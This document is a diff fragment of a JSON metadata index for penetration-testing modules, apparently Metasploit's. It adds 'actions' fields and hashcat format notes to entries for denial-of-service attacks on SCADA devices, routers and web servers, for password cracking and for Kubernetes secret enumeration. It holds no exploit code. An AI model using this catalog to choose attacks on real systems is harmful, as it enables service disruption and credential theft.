"auxiliary_admin/vxworks/apple_airport_extreme_password": { "name": "Apple Airport Extreme Password Extraction (WDBRPC)", @@ -9798,7 +10944,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vxworks/dlink_i2eye_autoanswer": { "name": "D-Link i2eye Video Conference AutoAnswer (WDBRPC)", @@ -9838,7 +10987,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vxworks/wdbrpc_memory_dump": { "name": "VxWorks WDB Agent Remote Memory Dump", @@ -9878,7 +11030,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Dump system memory" + } + ] }, "auxiliary_admin/vxworks/wdbrpc_reboot": { "name": "VxWorks WDB Agent Remote Reboot", @@ -9918,7 +11076,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Reboot", + "description": "Reboot target" + } + ] }, "auxiliary_admin/webmin/edit_html_fileaccess": { "name": "Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access", @@ -9970,7 +11134,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download arbitrary file" + } + ] }, "auxiliary_admin/webmin/file_disclosure": { "name": "Webmin File Disclosure", @@ -10021,7 +11191,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download arbitrary file" + } + ] }, "auxiliary_admin/wemo/crockpot": { "name": "Belkin Wemo-Enabled Crock-Pot Remote Control", @@ -10076,7 +11252,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Cook", + "description": "Cook stuff" + }, + { + "name": "Stop", + "description": "Stop cooking" + } + ] }, "auxiliary_admin/zend/java_bridge": { "name": "Zend Server Java Bridge Design Flaw Remote Code Execution", @@ -10117,7 +11303,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_analyze/apply_pot": { "name": "Apply Pot File To Hashes", @@ -10145,7 +11334,7 @@ ], "targets": null, - "mod_time": "2021-01-27 13:50:39 +0000", + "mod_time": "2023-11-28 08:04:49 +0000", "path": "/modules/auxiliary/analyze/apply_pot.rb", "is_install_path": true, "ref_name": "analyze/apply_pot", @@ -10155,7 +11344,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_aix": { "name": "Password Cracker: AIX", @@ -10171,7 +11366,7 @@ "hdm ", "h00die" ], - "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.\n DES is format 1500 in Hashcat.\n DES is descrypt in JTR.", + "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.\n DES is format 1500 in Hashcat.", "references": [ ], @@ -10185,7 +11380,7 @@ ], "targets": null, - "mod_time": "2021-01-27 13:50:39 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_aix.rb", "is_install_path": true, "ref_name": "analyze/crack_aix", @@ -10195,7 +11390,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_databases": { "name": "Password Cracker: Databases", @@ -10214,7 +11419,7 @@ "hdm ", "h00die" ], - "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules.\n Passwords that have been successfully cracked are then saved as proper credentials.\n Due to the complexity of some of the hash types, they can be very slow. Setting the\n ITERATION_TIMEOUT is highly recommended.", + "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules.\n Passwords that have been successfully cracked are then saved as proper credentials.\n Due to the complexity of some of the hash types, they can be very slow. Setting the\n ITERATION_TIMEOUT is highly recommended.\n MSSQL is 131, 132, and 1731 in hashcat.\n MYSQL is 200, and 300 in hashcat.\n ORACLE is 112, and 12300 in hashcat.\n POSTGRES is 12 in hashcat.", "references": [ ], @@ -10228,7 +11433,7 @@ ], "targets": null, - "mod_time": "2021-02-01 14:16:13 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_databases.rb", "is_install_path": true, "ref_name": "analyze/crack_databases", @@ -10238,7 +11443,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_linux": { "name": "Password Cracker: Linux", @@ -10254,7 +11469,7 @@ "hdm ", "h00die" ], - "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack\n MD5, BSDi and DES implementations by default. However, it can also crack\n Blowfish and SHA(256/512), but it is much slower.", + "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack\n MD5, BSDi and DES implementations by default. However, it can also crack\n Blowfish and SHA(256/512), but it is much slower.\n MD5 is format 500 in hashcat.\n DES is format 1500 in hashcat.\n BSDI is format 12400 in hashcat.\n BLOWFISH is format 3200 in hashcat.\n SHA256 is format 7400 in hashcat.\n SHA512 is format 1800 in hashcat.", "references": [ ], @@ -10268,7 +11483,7 @@ ], "targets": null, - "mod_time": "2021-01-27 13:50:39 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_linux.rb", "is_install_path": true, "ref_name": "analyze/crack_linux", @@ -10278,7 +11493,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_mobile": { "name": "Password Cracker: Mobile", @@ -10306,7 +11531,7 @@ ], "targets": null, - "mod_time": "2021-01-27 13:50:39 +0000", + "mod_time": "2023-02-18 13:09:45 +0000", "path": "/modules/auxiliary/analyze/crack_mobile.rb", "is_install_path": true, "ref_name": "analyze/crack_mobile", @@ -10316,7 +11541,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + } + ] }, "auxiliary_analyze/crack_osx": { "name": "Password Cracker: OSX", @@ -10330,7 +11561,7 @@ "author": [ "h00die" ], - "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512\n from 10.7, and PBKDF2 from OSX 10.8+.", + "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512\n from 10.7, and PBKDF2 from OSX 10.8+.\n XSHA is 122 in hashcat.\n XSHA512 is 1722 in hashcat.\n PBKDF2 (PBKDF2-HMAC-SHA512) is 7100 in hashcat.", "references": [ ], @@ -10344,7 +11575,7 @@ ], "targets": null, - "mod_time": "2021-01-27 13:50:39 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_osx.rb", "is_install_path": true, "ref_name": "analyze/crack_osx", @@ -10354,7 +11585,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_webapps": { "name": "Password Cracker: Webapps", @@ -10382,7 +11623,7 @@ ], "targets": null, - "mod_time": "2023-09-14 13:21:01 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_webapps.rb", "is_install_path": true, "ref_name": "analyze/crack_webapps", @@ -10392,7 +11633,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/crack_windows": { "name": "Password Cracker: Windows", @@ -10408,7 +11659,7 @@ "hdm ", "h00die" ], - "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from Windows systems. The module will only crack LANMAN/NTLM hashes.\n LANMAN is format 3000 in hashcat.\n NTLM is format 1000 in hashcat.\n MSCASH is format 1100 in hashcat.\n MSCASH2 is format 2100 in hashcat.\n NetNTLM is format 5500 in hashcat.\n NetNTLMv2 is format 5600 in hashcat.", + "description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from Windows systems.\n LANMAN is format 3000 in hashcat.\n NTLM is format 1000 in hashcat.\n MSCASH is format 1100 in hashcat.\n MSCASH2 is format 2100 in hashcat.\n NetNTLM is format 5500 in hashcat.\n NetNTLMv2 is format 5600 in hashcat.", "references": [ ], @@ -10422,7 +11673,7 @@ ], "targets": null, - "mod_time": "2023-01-08 16:54:36 +0000", + "mod_time": "2023-02-18 18:12:12 +0000", "path": "/modules/auxiliary/analyze/crack_windows.rb", "is_install_path": true, "ref_name": "analyze/crack_windows", @@ -10432,7 +11683,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "hashcat", + "description": "Use Hashcat" + }, + { + "name": "john", + "description": "Use John the Ripper" + } + ] }, "auxiliary_analyze/modbus_zip": { "name": "Extract zip from Modbus communication", @@ -10471,7 +11732,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_bnat/bnat_router": { "name": "BNAT Router", @@ -10511,7 +11775,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_bnat/bnat_scan": { "name": "BNAT Scanner", @@ -10551,7 +11818,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_client/hwbridge/connect": { "name": "Hardware Bridge Session Connector", @@ -10598,7 +11868,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_client/iec104/iec104": { "name": "IEC104 Client Utility", @@ -10636,7 +11909,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "SEND_COMMAND", + "description": "Send command to device" + } + ] }, "auxiliary_client/mms/send_mms": { "name": "MMS Client", @@ -10674,7 +11953,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_client/sms/send_text": { "name": "SMS Client", @@ -10712,7 +11994,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_client/smtp/emailer": { "name": "Generic Emailer (SMTP)", @@ -10756,7 +12041,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_client/telegram/send_message": { "name": "Telegram Message Client", @@ -10795,7 +12083,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_cloud/aws/enum_ec2": { "name": "Amazon Web Services EC2 instance enumeration", @@ -10843,7 +12134,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_cloud/aws/enum_iam": { "name": "Amazon Web Services IAM credential enumeration", @@ -10881,7 +12175,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_cloud/aws/enum_s3": { "name": "Amazon Web Services S3 instance enumeration", @@ -10919,7 +12216,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_cloud/aws/enum_ssm": { "name": "Amazon Web Services EC2 SSM enumeration", @@ -10966,7 +12266,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_cloud/kubernetes/enum_kubernetes": { "name": "Kubernetes Enumeration", @@ -11025,7 +12328,45 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "all", + "description": "enumerate all resources" + }, + { + "name": "auth", + "description": "enumerate auth" + }, + { + "name": "namespace", + "description": "enumerate namespace" + }, + { + "name": "namespaces", + "description": "enumerate namespaces" + }, + { + "name": "pod", + "description": "enumerate pod" + }, + { + "name": "pods", + "description": "enumerate pods" + }, + { + "name": "secret", + "description": "enumerate secret" + }, + { + "name": "secrets", + "description": "enumerate secrets" + }, + { + "name": "version", + "description": "enumerate version" + } + ] }, "auxiliary_crawler/msfcrawler": { "name": "Metasploit Web Crawler", @@ -11063,7 +12404,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_docx/word_unc_injector": { "name": "Microsoft Word UNC Path Injector", @@ -11101,7 +12445,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/android/android_stock_browser_iframe": { "name": "Android Stock Browser Iframe DOS", @@ -11141,7 +12488,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_dos/apple_ios/webkit_backdrop_filter_blur": { "name": "iOS Safari Denial of Service with CSS", @@ -11181,7 +12534,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/cisco/cisco_7937g_dos": { "name": "Cisco 7937G Denial-of-Service Attack", @@ -11220,7 +12576,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/cisco/cisco_7937g_dos_reboot": { "name": "Cisco 7937G Denial-of-Service Reboot Attack", @@ -11259,7 +12618,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/cisco/ios_http_percentpercent": { "name": "Cisco IOS HTTP GET /%% Request Denial of Service", @@ -11299,7 +12661,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/cisco/ios_telnet_rocem": { "name": "Cisco IOS Telnet Denial of Service", @@ -11340,7 +12705,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/dhcp/isc_dhcpd_clientid": { "name": "ISC DHCP Zero Length ClientID Denial of Service Module", @@ -11381,7 +12749,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/dns/bind_tkey": { "name": "BIND TKEY Query Denial of Service", @@ -11423,7 +12794,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/dns/bind_tsig": { "name": "BIND TSIG Query Denial of Service", @@ -11465,7 +12839,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/dns/bind_tsig_badtime": { "name": "BIND TSIG Badtime Query Denial of Service", @@ -11515,7 +12892,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/freebsd/nfsd/nfsd_mount": { "name": "FreeBSD Remote NFS RPC Request Denial of Service", @@ -11555,7 +12935,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/ftp/vsftpd_232": { "name": "VSFTPD 2.3.2 Denial of Service", @@ -11608,7 +12991,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/hp/data_protector_rds": { "name": "HP Data Protector Manager RDS DOS", @@ -11649,7 +13035,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/3com_superstack_switch": { "name": "3Com SuperStack Switch Denial of Service", @@ -11689,7 +13078,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/apache_commons_fileupload_dos": { "name": "Apache Commons FileUpload and Apache Tomcat DoS", @@ -11739,7 +13131,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/apache_mod_isapi": { "name": "Apache mod_isapi Dangling Pointer", @@ -11784,7 +13179,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/apache_range_dos": { "name": "Apache Range Header DoS (Apache Killer)", @@ -11836,7 +13234,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHECK", + "description": "Check if target is vulnerable" + }, + { + "name": "DOS", + "description": "Trigger Denial of Service against target" + } + ] }, "auxiliary_dos/http/apache_tomcat_transfer_encoding": { "name": "Apache Tomcat Transfer-Encoding Information Disclosure and DoS", @@ -11878,7 +13286,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/brother_debut_dos": { "name": "Brother Debut http Denial Of Service", @@ -11927,7 +13338,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/cable_haunt_websocket_dos": { "name": "\"Cablehaunt\" Cable Modem WebSocket DoS", @@ -11990,7 +13404,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/canon_wireless_printer": { "name": "Canon Wireless Printer Denial Of Service", @@ -12038,7 +13455,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/dell_openmanage_post": { "name": "Dell OpenManage POST Request Heap Overflow (win32)", @@ -12079,7 +13499,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/f5_bigip_apm_max_sessions": { "name": "F5 BigIP Access Policy Manager Session Exhaustion Denial of Service", @@ -12128,7 +13551,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/flexense_http_server_dos": { "name": "Flexense HTTP Server Denial Of Service", @@ -12167,7 +13593,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/gzip_bomb_dos": { "name": "Gzip Memory Bomb Denial Of Service", @@ -12206,7 +13635,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Host file via web server" + } + ] }, "auxiliary_dos/http/hashcollision_dos": { "name": "Hashtable Collisions", @@ -12266,7 +13701,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/ibm_lotus_notes": { "name": "IBM Notes encodeURI DOS", @@ -12306,7 +13744,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_dos/http/ibm_lotus_notes2": { "name": "IBM Notes Denial Of Service", @@ -12345,7 +13789,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_dos/http/marked_redos": { "name": "marked npm module \"heading\" ReDoS", @@ -12394,7 +13844,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/metasploit_httphandler_dos": { "name": "Metasploit HTTP(S) handler DoS", @@ -12442,7 +13895,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/monkey_headers": { "name": "Monkey HTTPD Header Parsing Denial of Service (DoS)", @@ -12482,7 +13938,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/ms15_034_ulonglongadd": { "name": "MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service", @@ -12535,7 +13994,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/nodejs_pipelining": { "name": "Node.js HTTP Pipelining Denial of Service", @@ -12578,7 +14040,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/novell_file_reporter_heap_bof": { "name": "NFR Agent Heap Overflow Vulnerability", @@ -12626,7 +14091,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/rails_action_view": { "name": "Ruby on Rails Action View MIME Memory Exhaustion", @@ -12670,7 +14138,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/rails_json_float_dos": { "name": "Ruby on Rails JSON Processor Floating Point Heap Overflow DoS", @@ -12721,7 +14192,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/slowloris": { "name": "Slowloris Denial of Service Attack", @@ -12765,7 +14239,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/sonicwall_ssl_format": { "name": "SonicWALL SSL-VPN Format String Vulnerability", @@ -12814,7 +14291,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/squid_range_dos": { "name": "Squid Proxy Range Header DoS", @@ -12872,7 +14352,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DOS", + "description": "Perform Denial of Service Against The Target" + } + ] }, "auxiliary_dos/http/tautulli_shutdown_exec": { "name": "Tautulli v2.1.9 - Shutdown Denial of Service", @@ -12920,7 +14406,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/ua_parser_js_redos": { "name": "ua-parser-js npm module ReDoS", @@ -12970,7 +14459,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/webkitplus": { "name": "WebKitGTK+ WebKitFaviconDatabase DoS", @@ -13014,7 +14506,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_dos/http/webrick_regex": { "name": "Ruby WEBrick::HTTP::DefaultFileHandler DoS", @@ -13064,7 +14562,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/wordpress_directory_traversal_dos": { "name": "WordPress Traversal Directory DoS", @@ -13114,7 +14615,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/wordpress_long_password_dos": { "name": "WordPress Long Password DoS", @@ -13166,7 +14670,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/wordpress_xmlrpc_dos": { "name": "Wordpress XMLRPC DoS", @@ -13219,7 +14726,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/http/ws_dos": { "name": "ws - Denial of Service", @@ -13259,7 +14769,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/mdns/avahi_portzero": { "name": "Avahi Source Port 0 DoS", @@ -13298,7 +14811,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/mirageos/qubes_mirage_firewall_dos": { "name": "Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit", @@ -13347,7 +14863,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/misc/dopewars": { "name": "Dopewars Denial of Service", @@ -13387,7 +14906,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/misc/ibm_sametime_webplayer_dos": { "name": "IBM Lotus Sametime WebPlayer DoS", @@ -13430,7 +14952,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHECK", + "description": "Checking if targeted user is online" + }, + { + "name": "DOS", + "description": "Cause a Denial Of Service condition against a connected user" + } + ] }, "auxiliary_dos/misc/ibm_tsm_dos": { "name": "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", @@ -13470,7 +15002,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/misc/memcached": { "name": "Memcached Remote Denial of Service", @@ -13510,7 +15045,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/ntp/ntpd_reserved_dos": { "name": "NTP.org ntpd Reserved Mode Denial of Service", @@ -13551,7 +15089,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/pptp/ms02_063_pptp_dos": { "name": "MS02-063 PPTP Malformed Control Data Kernel Denial of Service", @@ -13592,7 +15133,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/rpc/rpcbomb": { "name": "RPC DoS targeting *nix rpcbind/libtirpc", @@ -13633,7 +15177,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/samba/lsa_addprivs_heap": { "name": "Samba lsa_io_privilege_set Heap Overflow", @@ -13674,7 +15221,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", @@ -13715,7 +15265,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/samba/read_nttrans_ea_list": { "name": "Samba read_nttrans_ea_list Integer Overflow", @@ -13759,7 +15312,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/sap/sap_soap_rfc_eps_delete_file": { "name": "SAP SOAP EPS_DELETE_FILE File Deletion", @@ -13809,7 +15365,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/allen_bradley_pccc": { "name": "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", @@ -13851,7 +15410,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/beckhoff_twincat": { "name": "Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS", @@ -13892,7 +15454,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/d20_tftp_overflow": { "name": "General Electric D20ME TFTP Server Buffer Overflow DoS", @@ -13931,7 +15496,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/igss9_dataserver": { "name": "7-Technologies IGSS 9 IGSSdataServer.exe DoS", @@ -13971,7 +15539,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/siemens_siprotec4": { "name": "Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service", @@ -14010,7 +15581,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_dos/scada/yokogawa_logsvr": { "name": "Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow", @@ -14051,7 